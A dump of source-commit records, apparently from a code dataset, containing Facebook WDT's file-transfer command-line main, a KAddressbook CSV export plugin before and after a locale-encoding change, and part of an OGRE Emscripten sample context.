augmentedReq.errorCode;\n if (retCode == FEWER_PORTS) {\n if (FLAGS_treat_fewer_port_as_error) {\n LOG(ERROR) << \"Receiver could not bind to all the ports\";\n return FEWER_PORTS;\n }\n retCode = OK;\n } else if (augmentedReq.errorCode != OK) {\n LOG(ERROR) << \"Error setting up receiver \" << errorCodeToStr(retCode);\n return retCode;\n }\n \/\/ In the log:\n LOG(INFO) << \"Starting receiver with connection url \"\n << augmentedReq.getLogSafeString(); \/\/ The url without secret\n \/\/ on stdout: the one with secret:\n std::cout << augmentedReq.genWdtUrlWithSecret() << std::endl;\n std::cout.flush();\n if (FLAGS_fork) {\n pid_t cpid = fork();\n if (cpid == -1) {\n perror(\"Failed to fork()\");\n exit(1);\n }\n if (cpid > 0) {\n LOG(INFO) << \"Detaching receiver\";\n exit(0);\n }\n close(0);\n close(1);\n }\n setAbortChecker(receiver);\n if (!FLAGS_run_as_daemon) {\n retCode = receiver.transferAsync();\n if (retCode == OK) {\n std::unique_ptr report = receiver.finish();\n retCode = report->getSummary().getErrorCode();\n }\n } else {\n retCode = receiver.runForever();\n \/\/ not reached\n }\n } else {\n \/\/ Sender mode\n if (!FLAGS_manifest.empty()) {\n \/\/ Each line should have the filename and optionally\n \/\/ the filesize separated by a single space\n if (FLAGS_manifest == \"-\") {\n readManifest(std::cin, req);\n } else {\n std::ifstream fin(FLAGS_manifest);\n readManifest(fin, req);\n fin.close();\n }\n LOG(INFO) << \"Using files lists, number of files \" << req.fileInfo.size();\n }\n LOG(INFO) << \"Making Sender with encryption set = \"\n << req.encryptionData.isSet();\n\n \/\/ TODO: find something more useful for namespace (userid ? directory?)\n \/\/ (shardid at fb)\n retCode = wdt.wdtSend(WdtResourceController::kGlobalNamespace, req,\n setupAbortChecker());\n }\n cancelAbort();\n if (retCode == OK) {\n LOG(INFO) << \"Returning with OK exit code\";\n } else {\n LOG(ERROR) << \"Returning with code \" << retCode << \" \"\n << errorCodeToStr(retCode);\n }\n return retCode;\n}\nfix --version and --help\/**\n * Copyright (c) 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n\/\/ Used in fbonly to add socket creator setup\n#ifndef ADDITIONAL_SENDER_SETUP\n#define ADDITIONAL_SENDER_SETUP\n#endif\n\n\/\/ This can be the fbonly (FbWdt) version (extended initialization, and options)\n#ifndef WDTCLASS\n#define WDTCLASS Wdt\n#endif\n\n\/\/ Flags not already in WdtOptions.h\/WdtFlags.cpp.inc\nDEFINE_bool(fork, false,\n \"If true, forks the receiver, if false, no forking\/stay in fg\");\n\nDEFINE_bool(run_as_daemon, false,\n \"If true, run the receiver as never ending process\");\n\nDEFINE_string(directory, \".\", \"Source\/Destination directory\");\nDEFINE_string(manifest, \"\",\n \"If specified, then we will read a list of files and optional \"\n \"sizes from this file, use - for stdin\");\nDEFINE_string(\n destination, \"\",\n \"empty is server (destination) mode, non empty is destination host\");\nDEFINE_bool(parse_transfer_log, false,\n \"If true, transfer log is parsed and fixed\");\n\nDEFINE_string(transfer_id, \"\",\n \"Transfer id. Receiver will generate one to be used (via URL) on\"\n \" the sender if not set explicitly\");\nDEFINE_int32(\n protocol_version, 0,\n \"Protocol version to use, this is used to simulate protocol negotiation\");\n\nDEFINE_string(connection_url, \"\",\n \"Provide the connection string to connect to receiver\"\n \" (incl. transfer_id and other parameters).\"\n \" Deprecated: use - arg instead for safe encryption key\"\n \" transmission\");\n\nDECLARE_bool(logtostderr); \/\/ default of standard glog is off - let's set it on\n\nDEFINE_int32(abort_after_seconds, 0,\n \"Abort transfer after given seconds. 0 means don't abort.\");\n\nDEFINE_string(recovery_id, \"\", \"Recovery-id to use for download resumption\");\n\nDEFINE_bool(treat_fewer_port_as_error, false,\n \"If the receiver is unable to bind to all the ports, treat that as \"\n \"an error.\");\nDEFINE_bool(print_options, false,\n \"If true, wdt prints the option values and exits. Option values \"\n \"printed take into account option type and other command line \"\n \"flags specified.\");\nDEFINE_bool(exit_on_bad_flags, true,\n \"If true, wdt exits on bad\/unknown flag. Otherwise, an unknown \"\n \"flags are ignored\");\nDEFINE_string(test_only_encryption_secret, \"\",\n \"Test only encryption secret, to test url encoding\/decoding\");\n\nDEFINE_string(app_name, \"wdt\", \"Identifier used for reporting (scuba, at fb)\");\n\nDECLARE_bool(help);\n\nusing namespace facebook::wdt;\n\n\/\/ TODO: move this to some util and\/or delete\ntemplate \nstd::ostream &operator<<(std::ostream &os, const std::set &v) {\n std::copy(v.begin(), v.end(), std::ostream_iterator(os, \" \"));\n return os;\n}\n\nstd::mutex abortMutex;\nstd::condition_variable abortCondVar;\nbool isAbortCancelled = false;\nstd::shared_ptr setupAbortChecker() {\n int abortSeconds = FLAGS_abort_after_seconds;\n if (abortSeconds <= 0) {\n return nullptr;\n }\n LOG(INFO) << \"Setting up abort \" << abortSeconds << \" seconds.\";\n static std::atomic abortTrigger{false};\n auto res = std::make_shared(abortTrigger);\n auto lambda = [=] {\n LOG(INFO) << \"Will abort in \" << abortSeconds << \" seconds.\";\n std::unique_lock lk(abortMutex);\n bool isNotAbort =\n abortCondVar.wait_for(lk, std::chrono::seconds(abortSeconds),\n [&]() -> bool { return isAbortCancelled; });\n if (isNotAbort) {\n LOG(INFO) << \"Already finished normally, no abort.\";\n } else {\n LOG(INFO) << \"Requesting abort.\";\n abortTrigger.store(true);\n }\n };\n \/\/ Run this in a separate thread concurrently with sender\/receiver\n static auto f = std::async(std::launch::async, lambda);\n return res;\n}\n\nvoid setAbortChecker(WdtBase &senderOrReceiver) {\n senderOrReceiver.setAbortChecker(setupAbortChecker());\n}\n\nvoid cancelAbort() {\n {\n std::unique_lock lk(abortMutex);\n isAbortCancelled = true;\n abortCondVar.notify_one();\n }\n std::this_thread::yield();\n}\n\nvoid readManifest(std::istream &fin, WdtTransferRequest &req) {\n std::string line;\n while (std::getline(fin, line)) {\n std::vector fields;\n folly::split('\\t', line, fields, true);\n if (fields.empty() || fields.size() > 2) {\n LOG(FATAL) << \"Invalid input manifest: \" << line;\n }\n int64_t filesize = fields.size() > 1 ? folly::to(fields[1]) : -1;\n req.fileInfo.emplace_back(fields[0], filesize);\n }\n}\n\nnamespace google {\nextern GFLAGS_DLL_DECL void (*gflags_exitfunc)(int);\n}\n\nbool badGflagFound = false;\n\nstatic std::string usage;\nvoid printUsage() {\n std::cerr << usage << std::endl;\n}\n\nint main(int argc, char *argv[]) {\n FLAGS_logtostderr = true;\n \/\/ Ugliness in gflags' api; to be able to use program name\n google::SetArgv(argc, const_cast(argv));\n google::SetVersionString(Protocol::getFullVersion());\n usage.assign(\"WDT Warp-speed Data Transfer. v \");\n usage.append(google::VersionString());\n usage.append(\". Sample usage:\\nTo transfer from srchost to desthost:\\n\\t\");\n usage.append(\"ssh dsthost \");\n usage.append(google::ProgramInvocationShortName());\n usage.append(\" -directory destdir | ssh srchost \");\n usage.append(google::ProgramInvocationShortName());\n usage.append(\" -directory srcdir -\");\n usage.append(\n \"\\nPassing - as the argument to wdt means start the sender and\"\n \" read the\");\n usage.append(\n \"\\nconnection URL produced by the receiver, including encryption\"\n \" key, from stdin.\");\n usage.append(\"\\nUse --help to see all the options.\");\n google::SetUsageMessage(usage);\n google::gflags_exitfunc = [](int code) {\n if (code == 0 || FLAGS_help) {\n \/\/ By default gflags exit 1 with --help and 0 for --version (good)\n \/\/ let's also exit(0) for --help to be like most gnu command line\n exit(0);\n }\n \/\/ error cases:\n if (FLAGS_exit_on_bad_flags) {\n printUsage();\n exit(code);\n }\n badGflagFound = true;\n };\n google::ParseCommandLineFlags(&argc, &argv, true);\n google::InitGoogleLogging(argv[0]);\n if (badGflagFound) {\n LOG(ERROR) << \"Continuing despite bad flags\";\n }\n \/\/ Only non -flag argument allowed so far is \"-\" meaning\n \/\/ Read url from stdin and start a sender\n if (argc > 2 || (argc == 2 && (argv[1][0] != '-' || argv[1][1] != '\\0'))) {\n printUsage();\n std::cerr << \"Error: argument should be - (to read url from stdin) \"\n << \"or no arguments\" << std::endl;\n exit(1);\n }\n signal(SIGPIPE, SIG_IGN);\n\n std::string connectUrl;\n if (argc == 2) {\n std::getline(std::cin, connectUrl);\n if (connectUrl.empty()) {\n LOG(ERROR) << \"Sender unable to read connection url from stdin - exiting\";\n return URI_PARSE_ERROR;\n }\n } else {\n connectUrl = FLAGS_connection_url;\n }\n\n \/\/ Might be a sub class (fbonly wdtCmdLine.cpp)\n Wdt &wdt = WDTCLASS::initializeWdt(FLAGS_app_name);\n if (FLAGS_print_options) {\n wdt.printWdtOptions(std::cout);\n return 0;\n }\n\n ErrorCode retCode = OK;\n\n \/\/ Odd ball case of log parsing\n if (FLAGS_parse_transfer_log) {\n \/\/ Log parsing mode\n WdtOptions::getMutable().enable_download_resumption = true;\n TransferLogManager transferLogManager;\n transferLogManager.setRootDir(FLAGS_directory);\n transferLogManager.openLog();\n bool success = transferLogManager.parseAndPrint();\n LOG_IF(ERROR, success) << \"Transfer log parsing failed\";\n transferLogManager.closeLog();\n return success ? OK : ERROR;\n }\n\n \/\/ General case : Sender or Receiver\n const auto &options = WdtOptions::get();\n std::unique_ptr reqPtr;\n if (connectUrl.empty()) {\n reqPtr = folly::make_unique(\n options.start_port, options.num_ports, FLAGS_directory);\n reqPtr->hostName = FLAGS_destination;\n reqPtr->transferId = FLAGS_transfer_id;\n if (!FLAGS_test_only_encryption_secret.empty()) {\n reqPtr->encryptionData =\n EncryptionParams(parseEncryptionType(options.encryption_type),\n FLAGS_test_only_encryption_secret);\n }\n } else {\n reqPtr = folly::make_unique(connectUrl);\n if (reqPtr->errorCode != OK) {\n LOG(ERROR) << \"Invalid url \\\"\" << connectUrl\n << \"\\\" : \" << errorCodeToStr(reqPtr->errorCode);\n return ERROR;\n }\n reqPtr->directory = FLAGS_directory;\n LOG(INFO) << \"Parsed url as \" << reqPtr->getLogSafeString();\n }\n WdtTransferRequest &req = *reqPtr;\n if (FLAGS_protocol_version > 0) {\n req.protocolVersion = FLAGS_protocol_version;\n }\n\n if (FLAGS_destination.empty() && connectUrl.empty()) {\n Receiver receiver(req);\n if (!FLAGS_recovery_id.empty()) {\n WdtOptions::getMutable().enable_download_resumption = true;\n receiver.setRecoveryId(FLAGS_recovery_id);\n }\n WdtTransferRequest augmentedReq = receiver.init();\n retCode = augmentedReq.errorCode;\n if (retCode == FEWER_PORTS) {\n if (FLAGS_treat_fewer_port_as_error) {\n LOG(ERROR) << \"Receiver could not bind to all the ports\";\n return FEWER_PORTS;\n }\n retCode = OK;\n } else if (augmentedReq.errorCode != OK) {\n LOG(ERROR) << \"Error setting up receiver \" << errorCodeToStr(retCode);\n return retCode;\n }\n \/\/ In the log:\n LOG(INFO) << \"Starting receiver with connection url \"\n << augmentedReq.getLogSafeString(); \/\/ The url without secret\n \/\/ on stdout: the one with secret:\n std::cout << augmentedReq.genWdtUrlWithSecret() << std::endl;\n std::cout.flush();\n if (FLAGS_fork) {\n pid_t cpid = fork();\n if (cpid == -1) {\n perror(\"Failed to fork()\");\n exit(1);\n }\n if (cpid > 0) {\n LOG(INFO) << \"Detaching receiver\";\n exit(0);\n }\n close(0);\n close(1);\n }\n setAbortChecker(receiver);\n if (!FLAGS_run_as_daemon) {\n retCode = receiver.transferAsync();\n if (retCode == OK) {\n std::unique_ptr report = receiver.finish();\n retCode = report->getSummary().getErrorCode();\n }\n } else {\n retCode = receiver.runForever();\n \/\/ not reached\n }\n } else {\n \/\/ Sender mode\n if (!FLAGS_manifest.empty()) {\n \/\/ Each line should have the filename and optionally\n \/\/ the filesize separated by a single space\n if (FLAGS_manifest == \"-\") {\n readManifest(std::cin, req);\n } else {\n std::ifstream fin(FLAGS_manifest);\n readManifest(fin, req);\n fin.close();\n }\n LOG(INFO) << \"Using files lists, number of files \" << req.fileInfo.size();\n }\n LOG(INFO) << \"Making Sender with encryption set = \"\n << req.encryptionData.isSet();\n\n \/\/ TODO: find something more useful for namespace (userid ? directory?)\n \/\/ (shardid at fb)\n retCode = wdt.wdtSend(WdtResourceController::kGlobalNamespace, req,\n setupAbortChecker());\n }\n cancelAbort();\n if (retCode == OK) {\n LOG(INFO) << \"Returning with OK exit code\";\n } else {\n LOG(ERROR) << \"Returning with code \" << retCode << \" \"\n << errorCodeToStr(retCode);\n }\n return retCode;\n}\n<|endoftext|>"} {"text":"\/*\n This file is part of KAddressbook.\n Copyright (c) 2003 Tobias Koenig \n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"csvimportdialog.h\"\n\n#include \"csv_xxport.h\"\n\nclass CSVXXPortFactory : public XXPortFactory\n{\n public:\n XXPortObject *xxportObject( KABC::AddressBook *ab, QWidget *parent, const char *name )\n {\n return new CSVXXPort( ab, parent, name );\n }\n};\n\nextern \"C\"\n{\n void *init_libkaddrbk_csv_xxport()\n {\n return ( new CSVXXPortFactory() );\n }\n}\n\n\nCSVXXPort::CSVXXPort( KABC::AddressBook *ab, QWidget *parent, const char *name )\n : XXPortObject( ab, parent, name )\n{\n createImportAction( i18n( \"Import CSV List...\" ) );\n createExportAction( i18n( \"Export CSV List...\" ) );\n}\n\nbool CSVXXPort::exportContacts( const KABC::AddresseeList &list, const QString& )\n{\n KURL url = KFileDialog::getSaveURL( \"addressbook.csv\" );\n if ( url.isEmpty() )\n return true;\n\n if ( !url.isLocalFile() ) {\n KTempFile tmpFile;\n if ( tmpFile.status() != 0 ) {\n QString txt = i18n( \"Unable to open file %1<\/b>.%2.<\/qt>\" );\n KMessageBox::error( parentWidget(), txt.arg( url.url() )\n .arg( strerror( tmpFile.status() ) ) );\n return false;\n }\n\n doExport( tmpFile.file(), list );\n tmpFile.close();\n\n return KIO::NetAccess::upload( tmpFile.name(), url, parentWidget() );\n } else {\n QFile file( url.path() );\n if ( !file.open( IO_WriteOnly ) ) {\n QString txt = i18n( \"Unable to open file %1<\/b>.<\/qt>\" );\n KMessageBox::error( parentWidget(), txt.arg( url.path() ) );\n return false;\n }\n\n doExport( &file, list );\n file.close();\n\n return true;\n }\n}\n\nKABC::AddresseeList CSVXXPort::importContacts( const QString& ) const\n{\n CSVImportDialog dlg( addressBook(), parentWidget() );\n if ( dlg.exec() )\n return dlg.contacts();\n else\n return KABC::AddresseeList();\n}\n\nvoid CSVXXPort::doExport( QFile *fp, const KABC::AddresseeList &list )\n{\n QTextStream t( fp );\n\n KABC::AddresseeList::ConstIterator iter;\n KABC::Field::List fields = addressBook()->fields();\n KABC::Field::List::Iterator fieldIter;\n bool first = true;\n\n \/\/ First output the column headings\n for ( fieldIter = fields.begin(); fieldIter != fields.end(); ++fieldIter ) {\n if ( !first )\n t << \",\";\n\n t << \"\\\"\" << (*fieldIter)->label() << \"\\\"\";\n first = false;\n }\n t << \"\\n\";\n\n \/\/ Then all the addressee objects\n KABC::Addressee addr;\n for ( iter = list.begin(); iter != list.end(); ++iter ) {\n addr = *iter;\n first = true;\n\n for ( fieldIter = fields.begin(); fieldIter != fields.end(); ++fieldIter ) {\n if ( !first )\n t << \",\";\n\n t << \"\\\"\" << (*fieldIter)->value( addr ).replace( \"\\n\", \"\\\\n\" ) << \"\\\"\";\n first = false;\n }\n\n t << \"\\n\";\n }\n}\n\n#include \"csv_xxport.moc\"\nExport csv with QTextStream::Locale encoding.\/*\n This file is part of KAddressbook.\n Copyright (c) 2003 Tobias Koenig \n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"csvimportdialog.h\"\n\n#include \"csv_xxport.h\"\n\nclass CSVXXPortFactory : public XXPortFactory\n{\n public:\n XXPortObject *xxportObject( KABC::AddressBook *ab, QWidget *parent, const char *name )\n {\n return new CSVXXPort( ab, parent, name );\n }\n};\n\nextern \"C\"\n{\n void *init_libkaddrbk_csv_xxport()\n {\n return ( new CSVXXPortFactory() );\n }\n}\n\n\nCSVXXPort::CSVXXPort( KABC::AddressBook *ab, QWidget *parent, const char *name )\n : XXPortObject( ab, parent, name )\n{\n createImportAction( i18n( \"Import CSV List...\" ) );\n createExportAction( i18n( \"Export CSV List...\" ) );\n}\n\nbool CSVXXPort::exportContacts( const KABC::AddresseeList &list, const QString& )\n{\n KURL url = KFileDialog::getSaveURL( \"addressbook.csv\" );\n if ( url.isEmpty() )\n return true;\n\n if ( !url.isLocalFile() ) {\n KTempFile tmpFile;\n if ( tmpFile.status() != 0 ) {\n QString txt = i18n( \"Unable to open file %1<\/b>.%2.<\/qt>\" );\n KMessageBox::error( parentWidget(), txt.arg( url.url() )\n .arg( strerror( tmpFile.status() ) ) );\n return false;\n }\n\n doExport( tmpFile.file(), list );\n tmpFile.close();\n\n return KIO::NetAccess::upload( tmpFile.name(), url, parentWidget() );\n } else {\n QFile file( url.path() );\n if ( !file.open( IO_WriteOnly ) ) {\n QString txt = i18n( \"Unable to open file %1<\/b>.<\/qt>\" );\n KMessageBox::error( parentWidget(), txt.arg( url.path() ) );\n return false;\n }\n\n doExport( &file, list );\n file.close();\n\n return true;\n }\n}\n\nKABC::AddresseeList CSVXXPort::importContacts( const QString& ) const\n{\n CSVImportDialog dlg( addressBook(), parentWidget() );\n if ( dlg.exec() )\n return dlg.contacts();\n else\n return KABC::AddresseeList();\n}\n\nvoid CSVXXPort::doExport( QFile *fp, const KABC::AddresseeList &list )\n{\n QTextStream t( fp );\n t.setEncoding( QTextStream::Locale );\n\n KABC::AddresseeList::ConstIterator iter;\n KABC::Field::List fields = addressBook()->fields();\n KABC::Field::List::Iterator fieldIter;\n bool first = true;\n\n \/\/ First output the column headings\n for ( fieldIter = fields.begin(); fieldIter != fields.end(); ++fieldIter ) {\n if ( !first )\n t << \",\";\n\n t << \"\\\"\" << (*fieldIter)->label() << \"\\\"\";\n first = false;\n }\n t << \"\\n\";\n\n \/\/ Then all the addressee objects\n KABC::Addressee addr;\n for ( iter = list.begin(); iter != list.end(); ++iter ) {\n addr = *iter;\n first = true;\n\n for ( fieldIter = fields.begin(); fieldIter != fields.end(); ++fieldIter ) {\n if ( !first )\n t << \",\";\n\n t << \"\\\"\" << (*fieldIter)->value( addr ).replace( \"\\n\", \"\\\\n\" ) << \"\\\"\";\n first = false;\n }\n\n t << \"\\n\";\n }\n}\n\n#include \"csv_xxport.moc\"\n<|endoftext|>"} {"text":"[Backport] Aura: enable the touch events dispatch in DesktopRootWindowHostX11<|endoftext|>"} {"text":"ATO-418-Updated test macro<|endoftext|>"} {"text":"\/*\r\n -----------------------------------------------------------------------------\r\n This source file is part of OGRE\r\n (Object-oriented Graphics Rendering Engine)\r\n For the latest info, see http:\/\/www.ogre3d.org\/\r\n \r\n Copyright (c) 2000-2014 Torus Knot Software Ltd\r\n \r\n Permission is hereby granted, free of charge, to any person obtaining a copy\r\n of this software and associated documentation files (the \"Software\"), to deal\r\n in the Software without restriction, including without limitation the rights\r\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n copies of the Software, and to permit persons to whom the Software is\r\n furnished to do so, subject to the following conditions:\r\n \r\n The above copyright notice and this permission notice shall be included in\r\n all copies or substantial portions of the Software.\r\n \r\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n THE SOFTWARE.\r\n -----------------------------------------------------------------------------\r\n *\/\r\n\r\n#include \r\n\r\n#include \"SamplePlugin.h\"\r\n#include \"CharacterSample.h\"\r\n\r\n#include \r\n#include \"Context.h\"\r\n\r\nContext::Context()\r\n : OgreBites::SampleContext(\"OGRE Emscripten Sample\", false), mBuffer(NULL), mNode(NULL)\r\n{\r\n}\r\n\r\nbool Context::mouseWheelRolled(const OgreBites::MouseWheelEvent& evt) {\r\n OgreBites::MouseWheelEvent _evt = evt;\r\n \/\/ chrome reports values of 53 here\r\n _evt.y = std::min(3, std::max(-3, evt.y));\r\n return OgreBites::SampleContext::mouseWheelRolled(evt);\r\n}\r\n\r\nvoid Context::_mainLoop(void* target)\r\n{\r\n Context* thizz = static_cast(target);\r\n if (thizz->mRoot->endRenderingQueued())\r\n\t{\r\n\t emscripten_cancel_main_loop();\r\n\t}\r\n\telse\r\n {\r\n\t try\r\n\t {\r\n \/\/Pump messages in all registered RenderWindow windows\r\n Ogre::WindowEventUtilities::messagePump();\r\n \r\n if (!thizz->mRoot->renderOneFrame())\r\n {\r\n emscripten_cancel_main_loop();\r\n }\r\n\t }\r\n\t catch (Ogre::Exception& e)\r\n\t {\r\n size_t length = emscripten_get_callstack(EM_LOG_C_STACK | EM_LOG_DEMANGLE | EM_LOG_NO_PATHS | EM_LOG_FUNC_PARAMS,0,0) + 50;\r\n char* buffer = new char[length];\r\n emscripten_get_callstack(EM_LOG_C_STACK | EM_LOG_DEMANGLE | EM_LOG_NO_PATHS | EM_LOG_FUNC_PARAMS, buffer, length);\r\n Ogre::LogManager::getSingleton().logMessage(buffer);\r\n delete[] buffer;\r\n \r\n emscripten_pause_main_loop();\r\n\t }\r\n }\r\n}\r\n\r\n\r\nvoid Context::unloadResource(Ogre::ResourceManager* resMgr, const Ogre::String& resourceName)\r\n{\r\n Ogre::ResourcePtr rPtr = resMgr->getResourceByName(resourceName, \"General\");\r\n if (!rPtr)\r\n return;\r\n \r\n rPtr->unload();\r\n resMgr->remove(resourceName, \"General\");\r\n}\r\n\r\nvoid Context::destroyMaterials( const Ogre::String& resourceGroupID )\r\n{\r\n \r\n try\r\n {\r\n Ogre::MaterialManager* materialManager = Ogre::MaterialManager::getSingletonPtr();\r\n Ogre::ResourceManager::ResourceMapIterator resourceIterator = materialManager->getResourceIterator();\r\n \r\n std::vector< std::string > materialNamesToRemove;\r\n \r\n while( resourceIterator.hasMoreElements() )\r\n {\r\n Ogre::ResourcePtr material = resourceIterator.getNext();\r\n std::string matName = material->getName();\r\n \r\n if( resourceGroupID == material->getGroup())\r\n {\r\n mShaderGenerator->removeAllShaderBasedTechniques( matName, material->getGroup() );\r\n material->unload();\r\n material.reset();\r\n materialNamesToRemove.push_back( matName );\r\n }\r\n }\r\n \r\n for( size_t i = 0; i < materialNamesToRemove.size(); ++i )\r\n {\r\n materialManager->remove( materialNamesToRemove[i], resourceGroupID );\r\n }\r\n materialManager->removeUnreferencedResources();\r\n }\r\n catch( ... )\r\n {\r\n Ogre::LogManager::getSingleton().logMessage(\"An Error occurred trying to destroy Materials in \" + resourceGroupID);\r\n }\r\n \r\n}\r\n\r\nvoid Context::destroyTextures( const Ogre::String& resourceGroupID )\r\n{\r\n try\r\n {\r\n Ogre::TextureManager* textureManager = Ogre::TextureManager::getSingletonPtr();\r\n Ogre::ResourceManager::ResourceMapIterator resourceIterator = textureManager->getResourceIterator();\r\n \r\n std::vector< std::string > textureNamesToRemove;\r\n \r\n while( resourceIterator.hasMoreElements() )\r\n {\r\n Ogre::ResourcePtr texture = resourceIterator.getNext();\r\n Ogre::String resourceName = texture->getName();\r\n if( resourceGroupID == texture->getGroup())\r\n {\r\n texture->unload();\r\n texture.reset();\r\n textureNamesToRemove.push_back( resourceName );\r\n }\r\n }\r\n \r\n for( size_t i = 0; i < textureNamesToRemove.size(); ++i )\r\n {\r\n textureManager->remove( textureNamesToRemove[i], resourceGroupID );\r\n }\r\n }\r\n catch( ... )\r\n {\r\n Ogre::LogManager::getSingleton().logMessage(\"An Error occurred trying to destroy Textures in \" + resourceGroupID);\r\n }\r\n \r\n}\r\n\r\nvoid Context::clearScene()\r\n{\r\n if (mBuffer != NULL)\r\n {\r\n auto it = mNode->getAttachedObjectIterator();\r\n while (it.hasMoreElements())\r\n {\r\n \/\/mSceneMgr->destroyMovableObject(it.getNext());\r\n }\r\n mNode->detachAllObjects();\r\n\r\n Ogre::MaterialManager* matMgr = Ogre::MaterialManager::getSingletonPtr();\r\n matMgr->removeUnreferencedResources();\r\n \r\n Ogre::MeshManager* meshMgr = Ogre::MeshManager::getSingletonPtr();\r\n meshMgr->unloadUnreferencedResources();\r\n \r\n Ogre::TextureManager* texMgr = Ogre::TextureManager::getSingletonPtr();\r\n texMgr->removeUnreferencedResources();\r\n \r\n if( Ogre::ResourceGroupManager::getSingleton().resourceGroupExists(\"Download\") && Ogre::ResourceGroupManager::getSingleton().isResourceGroupInitialised(\"Download\") )\r\n {\r\n destroyMaterials( \"Download\" );\r\n destroyTextures( \"Download\" );\r\n \r\n Ogre::ResourceGroupManager::getSingleton().removeResourceLocation( \"download.zip\" );\r\n Ogre::ResourceGroupManager::getSingleton().destroyResourceGroup( \"Download\" );\r\n }\r\n \r\n Ogre::EmbeddedZipArchiveFactory::removeEmbbeddedFile(\"download.zip\");\r\n \r\n mShaderGenerator->removeAllShaderBasedTechniques();\r\n mShaderGenerator->flushShaderCache();\r\n \r\n \/\/free(mBuffer);\r\n mBuffer = NULL;\r\n }\r\n}\r\n\r\nvoid Context::passAssetAsArrayBuffer(unsigned char* arr, int length) {\r\n \r\n try {\r\n \r\n clearScene();\r\n Ogre::ResourceGroupManager::getSingleton().createResourceGroup(\"Download\");\r\n mBuffer = arr;\r\n \r\n Ogre::EmbeddedZipArchiveFactory::addEmbbeddedFile(\"download.zip\", mBuffer, length, NULL);\r\n Ogre::ResourceGroupManager::getSingleton().addResourceLocation(\"download.zip\",\"EmbeddedZip\",\"Download\");\r\n Ogre::ResourceGroupManager::getSingleton().initialiseResourceGroup(\"Download\");\r\n \r\n Ogre::StringVectorPtr meshes = Ogre::ArchiveManager::getSingleton().load(\"download.zip\",\"EmbeddedZip\",true)->find(\"*.mesh\");\r\n for (auto i : *meshes)\r\n {\r\n \/\/mNode->attachObject(mSceneMgr->createEntity(i));\r\n }\r\n \r\n } catch (Ogre::Exception& ex) {\r\n Ogre::LogManager::getSingleton().logMessage(ex.what());\r\n \r\n }\r\n \r\n\r\n}\r\n\r\nvoid Context::setup() {\r\n OgreBites::ApplicationContext::setup();\r\n mCurrentSample = new Sample_Character();\r\n mCurrentSample->setShaderGenerator(mShaderGenerator);\r\n mCurrentSample->_setup(mWindow, mFSLayer, mOverlaySystem);\r\n}\r\nSamples: Emscripten - update to new Bites API\/*\r\n -----------------------------------------------------------------------------\r\n This source file is part of OGRE\r\n (Object-oriented Graphics Rendering Engine)\r\n For the latest info, see http:\/\/www.ogre3d.org\/\r\n \r\n Copyright (c) 2000-2014 Torus Knot Software Ltd\r\n \r\n Permission is hereby granted, free of charge, to any person obtaining a copy\r\n of this software and associated documentation files (the \"Software\"), to deal\r\n in the Software without restriction, including without limitation the rights\r\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n copies of the Software, and to permit persons to whom the Software is\r\n furnished to do so, subject to the following conditions:\r\n \r\n The above copyright notice and this permission notice shall be included in\r\n all copies or substantial portions of the Software.\r\n \r\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n THE SOFTWARE.\r\n -----------------------------------------------------------------------------\r\n *\/\r\n\r\n#include \r\n\r\n#include \"SamplePlugin.h\"\r\n#include \"CharacterSample.h\"\r\n\r\n#include \r\n#include \"Context.h\"\r\n\r\nContext::Context()\r\n : OgreBites::SampleContext(\"OGRE Emscripten Sample\", false), mBuffer(NULL), mNode(NULL)\r\n{\r\n}\r\n\r\nbool Context::mouseWheelRolled(const OgreBites::MouseWheelEvent& evt) {\r\n OgreBites::MouseWheelEvent 